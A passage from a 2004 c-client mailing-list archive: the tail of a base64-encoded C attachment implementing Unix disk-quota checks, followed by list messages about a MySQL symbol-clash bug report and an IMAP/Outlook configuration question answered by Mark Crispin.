bW91bnRlZCBmaWxlIHN5c3RlbSBsaXN0ICovDQojZGVmaW5lIERJU0tUQUIg ICIvZXRjL2ZzdGFiIg0KI2VuZGlmDQoNCiNpZm5kZWYgZGVidWcNCmludCBk ZWJ1Zz0gMDsNCiNlbmRpZg0KDQppbnQgcXVvdGFfY2hlY2soY2hhciAqLCBj aGFyICopOw0KaW50IGdldF9xdW90YShjaGFyICosIGNoYXIgKiwgaW50ICos IGludCAqKTsNCg0KLyoNCiAqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQog KiBDaGVjayBVTklYIHF1b3RhIG9mIG5hbWVkIHVzZXIgZm9yIHRoZSBzcGVj aWZpZWQgZmlsZSBzeXN0ZW0NCiAqIElucHV0czoNCiAqCWhvbWUgPSBwYXRo IHRvIGRpcmVjdG9yeSB0byBjaGVjayBxdW90YSBvbg0KICoJdXNlciA9IG5h bWUgb2YgdXNlciB0byBjaGVjayBxdW90YSBmb3IgKG9ubHkgdXNlZCBpZiBj dXJyZW50IFVJRCA9PSAwKQ0KICogT3V0cHV0Og0KICoJLTEgICA9IGVycm9y IChtZXNzYWdlIGlzIHN5c2xvZ2dlZCApDQogKgkwICAgID0gYWxsIE9LDQog KgkxICAgID0gb3ZlciBzb2Z0IHF1b3RhIGxpbWl0DQogKiAgICAgIDIgICAg PSBvdmVyIGhhcmQgcXVvdGEgbGltaXQNCiAqLw0KDQppbnQgcXVvdGFfY2hl Y2soY2hhciAqaG9tZSwgY2hhciAqdXNlcikNCnsNCkZJTEUgKm1udGY7DQpz dHJ1Y3QgbW50ZW50ICpmc2VudDsNCnN0cnVjdCBzdGF0IGRpcl9zdGF0LCBt bnRfc3RhdDsNCnN0cnVjdCBkcWJsayBxdW90YV9kYXQ7DQpjaGFyIHNwZWNp YWxbMTAwXTsNCnN0cnVjdCBwYXNzd2QgKnB3Ow0KdWlkX3QgdXNlcl91aWQ7 DQp0aW1lX3QgbGVmdCwgbm93Ow0KDQogICBpZiAoZGVidWcpDQogICAgICBz eXNsb2cgKExPR19ERUJVRywiQ2hlY2tpbmcgZGlzayBxdW90YSBmb3IgJS44 MHMsIGRpcmVjdG9yeTogJS44MHMiLHVzZXIsaG9tZSk7DQoNCiAgIGlmIChz dGF0KGhvbWUsJmRpcl9zdGF0KSkgew0KICAgICAgc3lzbG9nIChMT0dfQUxF UlQsInF1b3RhX2NoZWNrOiBzdGF0IG9mIHVzZXIgJS44MHMgZGlyZWN0b3J5 OiAlLjgwcyBmYWlsZWQsICVtIix1c2VyLGhvbWUpOw0KICAgICAgcmV0dXJu KC0xKTsNCiAgIH0NCg0KICAgaWYgKChtbnRmPSBzZXRtbnRlbnQoRElTS1RB QiwiciIpKSA9PSAwKXsNCiAgICAgIHN5c2xvZyAoTE9HX0FMRVJULCJxdW90 YV9jaGVjazogb3BlbiBvZiBkaXNrLXRhYmxlICUuODBzIGZhaWxlZCwgJW0i LERJU0tUQUIpOw0KICAgICAgcmV0dXJuKC0xKTsNCiAgIH0NCg0KICAgd2hp bGUoZnNlbnQ9IGdldG1udGVudChtbnRmKSl7DQogICAgICBpZiAoc3RhdChm c2VudC0+bW50X2ZzbmFtZSwmbW50X3N0YXQpKXsNCiAgICAgICAgIHN5c2xv ZyAoTE9HX0FMRVJULCJxdW90YV9jaGVjazogc3RhdCBvZiBtb3VudCBwb2lu dCAlLjgwcyBmYWlsZWQsICVtIixmc2VudC0+bW50X2ZzbmFtZSk7DQogICAg ICAgICBlbmRtbnRlbnQobW50Zik7DQogICAgICAgICByZXR1cm4oLTEpOw0K ICAgICAgfQ0KICAgICAgaWYgKGRpcl9zdGF0LnN0X2RldiA9PSBtbnRfc3Rh dC5zdF9yZGV2KSB7DQogICAgICAgICBzdHJuY3B5KHNwZWNpYWwsZnNlbnQt Pm1udF9mc25hbWUsOTkpOw0KLyogICAgICAgICBwcmludGYoImZvdW5kIG1v dW50IHBvaW50IGRldmljZSAlLjgwc1xuIixzcGVjaWFsKTsgKi8NCiAgICAg ICAgIGJyZWFrOw0KICAgICAgfQ0KICAgfQ0KICAgZW5kbW50ZW50KG1udGYp Ow0KDQogICB1c2VyX3VpZD0gZ2V0ZXVpZCgpOwkvKiBnZXQgdGhlIGN1cnJl bnQgdXNlcidzIFVJRCAqLw0KDQovKiBJZiBVSUQgPT0gMCwgc3RpbGwgcm9v dCwgaGF2bid0IGNvbXBsZXRlZCBsb2dpbiBwcm9jZXNzLg0KICAgR2V0IFVJ RCBvZiBwZXJzb24gdGhhdCB3ZSdsbCBiZWNvbWUgc28gY2FuIGNoZWNrIHF1 b3RhIGR1cmluZyBsb2dpbiBwcm9jZXNzaW5nDQogKi8NCiAgIGlmICgodXNl cl91aWQgPT0gMCApICYmIChzdHJsZW4odXNlcikgPiAxKSkgew0KICAgICAg aWYgKHB3PSBnZXRwd25hbSh1c2VyKSkgew0KICAgICAgICAgdXNlcl91aWQ9 IHB3LT5wd191aWQ7DQogICAgICB9IGVsc2Ugew0KICAgICAgICAgc3lzbG9n IChMT0dfQUxFUlQsInF1b3RhX2NoZWNrOiB1bmtub3duIHVzZXI6ICUuODBz LCAlbSIsdXNlcik7DQogICAgICAgICByZXR1cm4oLTEpOw0KICAgICAgfQ0K ICAgfQ0KICAgaWYgKHVzZXJfdWlkID09IDApIHJldHVybigwKTsgICAvKiBz a2lwIGNoZWNrIGZvciByb290ICovDQoNCiAgIGlmIChxdW90YWN0bChRX0dF VFFVT1RBLCBzcGVjaWFsLCB1c2VyX3VpZCwgJnF1b3RhX2RhdCkgPT0gMCkg ew0KLyogICAgICBwcmludGYoInF1b3RhOiBxdW90YT0lZCB1c2FnZT0lZFxu IixxdW90YV9kYXQuZHFiX2Jzb2Z0bGltaXQscXVvdGFfZGF0LmRxYl9jdXJi bG9ja3MpOw0KICovDQogICAgICBpZiAocXVvdGFfZGF0LmRxYl9jdXJibG9j a3MgPj0gcXVvdGFfZGF0LmRxYl9iaGFyZGxpbWl0KSB7DQogICAgICAgICBy ZXR1cm4oMik7CS8qIG92ZXIgaGFyZCBsaW1pdCAqLw0KICAgICAgfQ0KICAg ICAgaWYgKHF1b3RhX2RhdC5kcWJfY3VyYmxvY2tzID4gcXVvdGFfZGF0LmRx Yl9ic29mdGxpbWl0KSB7DQovKiAgICAgICAgIHByaW50ZigiRGFuZ2VyIFdp bGwgUm9iaW5zb24sIHlvdSdyZSBvdmVyIHF1b3RhXG4iKTsgKi8NCiAgICAg ICAgIGlmICgocXVvdGFfZGF0LmRxYl9idGltZWxpbWl0ICE9IDApICYmIChx dW90YV9kYXQuZHFiX2J0aW1lbGltaXQgPCB0aW1lKDApKSkgcmV0dXJuKDIp Ow0KICAgICAgICAgcmV0dXJuKDEpOwkvKiBvdmVyIHNvZnQgbGltaXQgKi8N CiAgICAgIH0NCi8qICAgICAgaWYgKChxdW90YV9kYXQuZHFiX2J0aW1lbGlt aXQgIT0gMCkgJiYgKHF1b3RhX2RhdC5kcWJfYnRpbWVsaW1pdCA8IHRpbWUo MCkpKSB7DQogICAgICAgICBsZWZ0ID0gcXVvdGFfZGF0LmRxYl9idGltZWxp bWl0IC0gdGltZSgwKTsNCiAgICAgICAgIHByaW50ZigieW91IGhhdmUgJWQg aG91cnMgbGVmdFxuIiwobG9uZykobGVmdC8zNjAwKSk7DQogICAgICB9DQoq Lw0KICAgfQ0KICAgcmV0dXJuKDApOwkvKiBubyBlcnJvcnMsIG5vdCBvdmVy IHF1b3RhICovDQp9DQoNCi8qDQogKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq Kg0KICogR2V0IFVOSVggcXVvdGEgb2YgbmFtZWQgdXNlciBmb3IgdGhlIHNw ZWNpZmllZCBmaWxlIHN5c3RlbQ0KICogSW5wdXRzOg0KICoJaG9tZSA9IHBh dGggdG8gZGlyZWN0b3J5IHRvIGNoZWNrIHF1b3RhIG9uDQogKgl1c2VyID0g bmFtZSBvZiB1c2VyIHRvIGNoZWNrIHF1b3RhIGZvciAob25seSB1c2VkIGlm IGN1cnJlbnQgVUlEID09IDApDQogKiBPdXRwdXQ6DQogKgl1c2VkID09IGJs b2NrcyB1c2VkDQogKglsaW1pdCA9PSBzb2Z0LWxpbWl0IChvciA9PXVzZWQg aWYgb3ZlciBzb2Z0IGxpbWl0KQ0KICoJLTEgICA9IGVycm9yIChtZXNzYWdl IGlzIHN5c2xvZ2dlZCApDQogKgkwICAgID0gYWxsIE9LDQogKi8NCg0KaW50 IGdldF9xdW90YShjaGFyICpob21lLCBjaGFyICp1c2VyLCBpbnQgKnVzZWQs IGludCAqbGltaXQpDQp7DQpGSUxFICptbnRmOw0Kc3RydWN0IG1udGVudCAq ZnNlbnQ7DQpzdHJ1Y3Qgc3RhdCBkaXJfc3RhdCwgbW50X3N0YXQ7DQpzdHJ1 Y3QgZHFibGsgcXVvdGFfZGF0Ow0KY2hhciBzcGVjaWFsWzEwMF07DQpzdHJ1 Y3QgcGFzc3dkICpwdzsNCnVpZF90IHVzZXJfdWlkOw0KdGltZV90IGxlZnQs IG5vdzsNCg0KICAgaWYgKHN0YXQoaG9tZSwmZGlyX3N0YXQpKSB7DQogICAg ICBzeXNsb2cgKExPR19BTEVSVCwiZ2V0X3F1b3RhOiBzdGF0IG9mIHVzZXIg JS44MHMgZGlyZWN0b3J5OiAlLjgwcyBmYWlsZWQsICVtIix1c2VyLGhvbWUp Ow0KICAgICAgcmV0dXJuKC0xKTsNCiAgIH0NCg0KICAgaWYgKChtbnRmPSBz ZXRtbnRlbnQoRElTS1RBQiwiciIpKSA9PSAwKXsNCiAgICAgIHN5c2xvZyAo TE9HX0FMRVJULCJnZXRfcXVvdGE6IG9wZW4gb2YgZGlzay10YWJsZSAlLjgw cyBmYWlsZWQsICVtIixESVNLVEFCKTsNCiAgICAgIHJldHVybigtMSk7DQog ICB9DQoNCiAgIHdoaWxlKGZzZW50PSBnZXRtbnRlbnQobW50Zikpew0KICAg ICAgaWYgKHN0YXQoZnNlbnQtPm1udF9mc25hbWUsJm1udF9zdGF0KSl7DQog ICAgICAgICBzeXNsb2cgKExPR19BTEVSVCwiZ2V0X3F1b3RhOiBzdGF0IG9m IG1vdW50IHBvaW50ICUuODBzIGZhaWxlZCwgJW0iLGZzZW50LT5tbnRfZnNu YW1lKTsNCiAgICAgICAgIGVuZG1udGVudChtbnRmKTsNCiAgICAgICAgIHJl dHVybigtMSk7DQogICAgICB9DQogICAgICBpZiAoZGlyX3N0YXQuc3RfZGV2 ID09IG1udF9zdGF0LnN0X3JkZXYpIHsNCiAgICAgICAgIHN0cm5jcHkoc3Bl Y2lhbCxmc2VudC0+bW50X2ZzbmFtZSw5OSk7DQovKiAgICAgICAgIHByaW50 ZigiZm91bmQgbW91bnQgcG9pbnQgZGV2aWNlICUuODBzXG4iLHNwZWNpYWwp OyAqLw0KICAgICAgICAgYnJlYWs7DQogICAgICB9DQogICB9DQogICBlbmRt bnRlbnQobW50Zik7DQoNCiAgIHVzZXJfdWlkPSBnZXRldWlkKCk7CS8qIGdl dCB0aGUgY3VycmVudCB1c2VyJ3MgVUlEICovDQoNCi8qIElmIFVJRCA9PSAw LCBzdGlsbCByb290LCBoYXZuJ3QgY29tcGxldGVkIGxvZ2luIHByb2Nlc3Mu DQogICBHZXQgVUlEIG9mIHBlcnNvbiB0aGF0IHdlJ2xsIGJlY29tZSBzbyBj YW4gY2hlY2sgcXVvdGEgZHVyaW5nIGxvZ2luIHByb2Nlc3NpbmcNCiAqLw0K ICAgaWYgKCh1c2VyX3VpZCA9PSAwICkgJiYgKHN0cmxlbih1c2VyKSA+IDEp KSB7DQogICAgICBpZiAocHc9IGdldHB3bmFtKHVzZXIpKSB7DQogICAgICAg ICB1c2VyX3VpZD0gcHctPnB3X3VpZDsNCiAgICAgIH0gZWxzZSB7DQogICAg ICAgICBzeXNsb2cgKExPR19BTEVSVCwiZ2V0X3F1b3RhOiB1bmtub3duIHVz ZXI6ICUuODBzLCAlbSIsdXNlcik7DQogICAgICAgICByZXR1cm4oLTEpOw0K ICAgICAgfQ0KICAgfQ0KICAgaWYgKHVzZXJfdWlkID09IDApIHJldHVybigt MSk7ICAgLyogc2tpcCBjaGVjayBmb3Igcm9vdCAqLw0KDQogICBpZiAocXVv dGFjdGwoUV9HRVRRVU9UQSwgc3BlY2lhbCwgdXNlcl91aWQsICZxdW90YV9k YXQpID09IDApIHsNCi8qICAgICAgcHJpbnRmKCJxdW90YTogcXVvdGE9JWQg dXNhZ2U9JWRcbiIscXVvdGFfZGF0LmRxYl9ic29mdGxpbWl0LHF1b3RhX2Rh dC5kcWJfY3VyYmxvY2tzKTsNCiAqIHF1b3RhX2RhdC5kcWJfY3VyYmxvY2tz ID09IGN1cnJlbnQgYmxvY2tzIHVzZWQNCiAqIHF1b3RhX2RhdC5kcWJfYnNv ZnRsaW1pdCA9PSBzb2Z0IHF1b3RhIGxpbWl0DQogKiBxdW90YV9kYXQuZHFi X2JoYXJkbGltaXQgPT0gaGFyZCBxdW90YSBsaW1pdA0KICogcXVvdGFfZGF0 LmRxYl9idGltZWxpbWl0ID09IGdyYWNlIHRpbWUgZXhwaXJhdGlvbiBpZiBv dmVyIHNvZnQgbGltaXQNCiAqLw0KDQogICAgICAqdXNlZD0gcXVvdGFfZGF0 LmRxYl9jdXJibG9ja3M7CS8qIHJldHVybiB1c2VkICovDQoNCi8qIExvZ2lj IGZvciBkZXRlcm1pbmluZyB2YWx1ZSBvZiBsaW1pdDoNCiAqCWlmIHVzZWQg PD0gc29mdC1saW1pdCwgcmV0dXJuIGxpbWl0ID09IHNvZnQtbGltaXQNCiAq CWlmIHVzZWQgPj0gaGFyZC1saW1pdCwgcmV0dXJuIGxpbWl0ID09IHNvZnQt bGltaXQgKHNob3cgb3ZlciAxMDAlIHVzYWdlKQ0KICoJaWYgc29mdC1saW1p dCA8IHVzZWQgPCBoYXJkLWxpbWl0ICYmIGdyYWNlLXRpbWUgbm90IGV4cGly ZWQsDQogKgkJCXJldHVybiBsaW1pdCA9PSBhbW91bnQgdXNlZCAoc28gdG8g c2hvdyBleGFjdGx5IDEwMCUgdXNhZ2UpDQogKgllbHNlIHVzZWQgPiBzb2Z0 LWxpbWl0ICYmIGdyYWNlLXRpbWUgZXhwaXJlZCwNCiAqCQkJcmV0dXJuIGxp bWl0ID09IHNvZnQtbGltaXQgKHNob3cgb3ZlciAxMDAlIHVzYWdlKQ0KICov DQogICAgICBpZiAocXVvdGFfZGF0LmRxYl9jdXJibG9ja3MgPD0gcXVvdGFf ZGF0LmRxYl9ic29mdGxpbWl0KSB7CS8qIHVuZGVyIHNvZnQgcXVvdGEgKi8N CiAgICAgICAgICpsaW1pdD0gcXVvdGFfZGF0LmRxYl9ic29mdGxpbWl0Owkv KiByZXR1cm4gbGltaXQgPT0gc29mdCBxdW90YSAqLw0KICAgICAgfSBlbHNl IGlmICgocXVvdGFfZGF0LmRxYl9jdXJibG9ja3MrMykgPj0gcXVvdGFfZGF0 LmRxYl9iaGFyZGxpbWl0ICl7IC8qIG92ZXIgaGFyZCBsaW1pdCAqLw0KCSAq bGltaXQ9IHF1b3RhX2RhdC5kcWJfYnNvZnRsaW1pdDsJLyogcmV0dXJuIGxp bWl0ID09IHNvZnQgcXVvdGEgKi8NCiAgICAgIH0gZWxzZSBpZiAoKHF1b3Rh X2RhdC5kcWJfYnRpbWVsaW1pdCAhPSAwKSAmJiAocXVvdGFfZGF0LmRxYl9i dGltZWxpbWl0ID4gdGltZSgwKSkpIHsNCgkgKmxpbWl0PSBxdW90YV9kYXQu ZHFiX2N1cmJsb2NrczsgICAvKiBzdGlsbCBoYXZlIGdyYWNlIHRpbWUsIHJl dHVybiBsaW1pdCA9PSBhbW91bnQgdXNlZCAqLw0KICAgICAgfSBlbHNlIHsJ CQkvKiBvdmVyIHNvZnQsIGdyYWNlIGV4cGlyZWQgKi8NCgkgKmxpbWl0PSBx dW90YV9kYXQuZHFiX2Jzb2Z0bGltaXQ7CS8qIHJldHVybiBsaW1pdCA9PSBz b2Z0IHF1b3RhICovDQogICAgICB9DQogICAgICBpZiAoZGVidWcpDQoJc3lz bG9nIChMT0dfREVCVUcsImRpc2sgcXVvdGEgZm9yICUuODBzLCB1c2VkOiAl ZCwgbGltaXQ6ICVkIix1c2VyLCp1c2VkLCpsaW1pdCk7DQogICAgICByZXR1 cm4oMCk7ICAgLyogbm8gZXJyb3JzICovDQogICB9DQogICByZXR1cm4oLTEp OwkvKiBlcnJvcnMgb3Igbm8gcXVvdGEgaW5mbyBmb3IgdGhpcyB1c2VyICov DQp9DQojZW5kaWYJLyogUVVPVEFfQ0hFQ0sgKi8NCg== --2003920895-579758561-1103582565=:23746-- From pinedev@shivax2.cac.washington.edu Tue Dec 21 01:13:27 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Dec 2004 01:13:27 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBL9DQdR002510 for ; Tue, 21 Dec 2004 01:13:26 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBL9DPAN022912 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 21 Dec 2004 01:13:26 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBL9DBwE019050; Tue, 21 Dec 2004 01:13:11 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBL99kob047978 for ; Tue, 21 Dec 2004 01:09:47 -0800 Received: from plasma.squigly.net (plasma.squigly.net [82.165.243.76]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBL99jUd024028 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Tue, 21 Dec 2004 01:09:46 -0800 Received: (qmail 31727 invoked from network); 21 Dec 2004 09:09:32 -0000 Received: from localhost (127.0.0.1) by localhost with SMTP; 21 Dec 2004 09:09:32 -0000 Received: from work (work [62.173.100.90]) by webmail.squigly.net (IMP) with HTTP for ; Tue, 21 Dec 2004 04:09:30 -0500 Message-Id: <1103620170.41c7e84abee1f@webmail.squigly.net> Date: Tue, 21 Dec 2004 04:09:30 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: alex@squigly.net To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: name-space protect symbols In-Reply-To: References: <1103541718.41c6b5d6e79c7@webmail.squigly.net> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Originating-IP: 62.173.100.90 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark. Thanks for the reply. I've created a bug report with the mysql folks aswell. http://bugs.mysql.com/bug.php?id=7428 I would be inclined it's something better suited for them to fix on their end as earlier versions of mysql 4.1.x worked when being linked with c-client. When I sent this I wanted to ensure i've chased up on both ends. Best Regards- Quoting Mark Crispin : ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From pinedev@shivax2.cac.washington.edu Tue Dec 21 10:21:36 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Dec 2004 10:21:36 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBLILaqV021994 for ; Tue, 21 Dec 2004 10:21:36 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBLILZ6V010712 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 21 Dec 2004 10:21:35 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBLILN7S014378; Tue, 21 Dec 2004 10:21:23 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBLIHhKk103088 for ; Tue, 21 Dec 2004 10:17:43 -0800 Received: from oz.plymouth.edu (oz.plymouth.edu [158.136.1.100]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBLIHfGQ015408 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 21 Dec 2004 10:17:43 -0800 Received: (from root@localhost) by oz.plymouth.edu (8.12.11/8.12.9) id iBLIHd0b010748 for c-client@u.washington.edu; Tue, 21 Dec 2004 13:17:39 -0500 (EST) Received: from samael (samael.plymouth.edu [158.136.82.92]) by oz.plymouth.edu (8.12.11/8.12.9) with ESMTP id iBLIHdgq010742 for ; Tue, 21 Dec 2004 13:17:39 -0500 (EST) Message-Id: <200412211817.iBLIHdgq010742@oz.plymouth.edu> Date: Tue, 21 Dec 2004 13:17:33 -0500 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Erich Beyrent" To: Subject: Configuration problems MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on hyperion.plymouth.edy X-Spam-Level: X-Spam-Status: No, score=-105.9 required=8.0 tests=ALL_TRUSTED,BAYES_00, USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all, I am running FreeBSD 5.3 and have built the latest version of imap. My problem is that I cannot seem to get IMAP to download any messages to my Outlook client. POP3 is working correctly - in my $HOME directory, I have a .mail file containing all the messages that sendmail dumps in there. What other configuration steps do I need to perform? Best regards, -Erich- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Dec 21 12:27:28 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Dec 2004 12:27:27 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBLKRRbv027210 for ; Tue, 21 Dec 2004 12:27:27 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBLKRQeb016385 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 21 Dec 2004 12:27:27 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBLKRHDP017000; Tue, 21 Dec 2004 12:27:17 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBLKPa0L048118 for ; Tue, 21 Dec 2004 12:25:36 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBLKPZu6020541 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 21 Dec 2004 12:25:35 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBLKPYl7015425; Tue, 21 Dec 2004 12:25:34 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBLKPYmV009180 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 21 Dec 2004 12:25:34 -0800 Message-Id: Date: Tue, 21 Dec 2004 12:25:36 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Erich Beyrent Cc: c-client@u.washington.edu Subject: Re: Configuration problems In-Reply-To: <200412211817.iBLIHdgq010742@oz.plymouth.edu> References: <200412211817.iBLIHdgq010742@oz.plymouth.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 21 Dec 2004, Erich Beyrent wrote: > I am running FreeBSD 5.3 and have built the latest version of imap. My > problem is that I cannot seem to get IMAP to download any messages to my > Outlook client. POP3 is working correctly - in my $HOME directory, I have a > .mail file containing all the messages that sendmail dumps in there. > > What other configuration steps do I need to perform? First, you need to understand that the IMAP server does not download message *to* your Outlook client -- the Outlook client downloads messages *from* the IMAP server. There is no configuration necessary in the IMAP server for a standard system configuration. Normally, any configuration is done on the client; and indeed your problem may be entire a client configuration issue. Then again, it may not be. You say that "sendmail dumps [messages]" into a $HOME/.mail directory. This is not a standard location for mail to be delivered. If you have made a non-standard location for mail, it should not be surprising that you need to change software that accesses mail to look for the message in the non-standard location. In general, I recommend that only experts do such things, and that everybody else stay with the standard defaults. I also don't understand how "sendmail dumps" messages into a $HOME/.mail directory has anything to do with "POP3 working correctly". So, in order to diagnose your problem further, you need to be a bit more specific about what is going on. If you have made non-standard changes to the location of mail, etc. then the first piece of advice that I will give you is to undo those changes and use the standard locations. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Dec 22 03:28:58 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Dec 2004 03:28:58 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBMBSwIA026028 for ; Wed, 22 Dec 2004 03:28:58 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBMBSvuj028446 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 22 Dec 2004 03:28:57 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBMBSlad014540; Wed, 22 Dec 2004 03:28:48 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBMBROW9032552 for ; Wed, 22 Dec 2004 03:27:25 -0800 Received: from mail21.bluewin.ch (mail21.bluewin.ch [195.186.18.66]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBMBRNR2006983 for ; Wed, 22 Dec 2004 03:27:24 -0800 Received: from localhost (62.203.75.33) by mail21.bluewin.ch (Bluewin AG 7.0.035) id 41BEB961000A393D; Wed, 22 Dec 2004 11:27:17 +0000 Received: from tpo2 (helo=localhost) by localhost with local-esmtp (Exim 3.36 #1 (Debian)) id 1Ch4eC-0000rV-00; Wed, 22 Dec 2004 12:27:16 +0100 Message-Id: Date: Wed, 22 Dec 2004 12:27:15 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Tomas Pospisek's Mailing Lists" To: Erich Beyrent Cc: c-client@u.washington.edu Subject: Re: Configuration problems In-Reply-To: <200412211817.iBLIHdgq010742@oz.plymouth.edu> References: <200412211817.iBLIHdgq010742@oz.plymouth.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-X-Sender: tpo2@localhost 